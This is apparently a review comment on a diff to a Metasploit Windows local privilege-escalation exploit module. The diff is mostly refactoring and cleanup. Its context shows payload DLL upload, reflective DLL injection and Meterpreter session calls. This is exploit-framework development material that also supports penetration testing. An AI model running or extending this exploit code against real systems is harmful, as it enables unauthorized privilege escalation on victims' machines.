This works

modules/exploits/windows/local/ntapphelpcachecontrol.rb

@@ -9,6 +9,7 @@ require 'msf/core/post/windows/reflective_dll_injection'
 class Metasploit3 < Msf::Exploit::Local
   Rank = NormalRanking
 
+  include Exploit::EXE
   include Msf::Post::File
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::ReflectiveDLLInjection
@@ -72,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Local
       write_file(payload_filepath, payload)
     rescue Rex::Post::Meterpreter::RequestError => e
       fail_with(
-          Exploit::Exception::Unknown,
+          Failure::Unknown,
           "Error uploading file #{payload_filepath}: #{e.class} #{e}"
       )
     end
@@ -80,9 +81,6 @@ class Metasploit3 < Msf::Exploit::Local
 
   def set_filepath_env(payload_filepath)
     session.railgun.kernel32.SetEnvironmentVariableA("PAYLOAD_PATH", payload_filepath)
-    if get_env("PAYLOAD_PATH") != payload_filepath
-      fail_with(Exploit::Exception::Unknown, "Failed to set environment variable PAYLOAD_PATH")
-    end
   end
 
   def upload_payload
@@ -94,14 +92,15 @@ class Metasploit3 < Msf::Exploit::Local
     # Upload the payload
     upload_payload_dll(payload_filepath)
     if !file?(payload_filepath)
-      fail_with(Exploit::Exception::Unknown, "Failed to save the payload DLL due to an unknown reason")
+      fail_with(Failure::Unknown, "Failed to save the payload DLL due to an unknown reason")
     end
   end
 
   def get_integrity_info
     integrity = get_integrity_level
-     case integrity
-     when :low
+
+    case integrity
+    when :low
       level = 0
     when :medium
       level = 1
@@ -109,6 +108,8 @@ class Metasploit3 < Msf::Exploit::Local
       level = 2
     when :system
       level = 3
+    else
+      level = -1
     end
 
     {
@@ -147,4 +148,9 @@ class Metasploit3 < Msf::Exploit::Local
     upload_exploit
   end
 
+  def cleanup
+    session.railgun.kernel32.SetEnvironmentVariableA("PAYLOAD_PATH", nil)
+    super
+  end
+
 end